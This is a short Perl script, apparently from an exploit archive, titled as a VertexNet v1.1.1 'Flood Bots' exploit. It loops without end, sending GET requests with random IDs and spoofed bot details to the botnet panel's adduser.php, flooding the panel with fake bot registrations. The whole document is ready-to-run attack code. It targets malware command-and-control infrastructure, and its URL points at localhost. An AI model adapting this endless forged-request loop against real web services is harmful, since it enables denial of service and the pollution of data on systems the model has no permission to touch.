Malware exploit: Vertexnet V1.1.1

<code>#!/usr/bin/perl
# VertexNet v1.1.1 Flood Bots
# http://www.virustotal.com/file-scan/report.html?id=fd373a8f4adf29001d282b963f126f760afcf3e58117f6024b2d65a36d41f617-1305491791
# Xyl2k! :þ

use HTTP::Request;
use LWP::UserAgent;

$URL = "http://localhost/Panel/adduser.php";

$useragent = LWP::UserAgent -&gt; new();
$useragent -&gt; agent('V32');

$try = 0;

        while(1)
        {
                $rnd = rand();

                $request = HTTP::Request -&gt; new(GET =&gt; $URL . '?uid={' . $rnd . '}&amp;lan=127.0.0.1&amp;cmpname=Xyl2k!&amp;country=Fran.ais%20(France)%20+33&amp;cc=FR&amp;idle=0&amp;ver=v1337');
                $response = $useragent -&gt; request($request);

                if ($response -&gt; is_success)
                {
                                $try++;
                                print("[~] The fire day " . $try . "\n");
                }
        }
</code>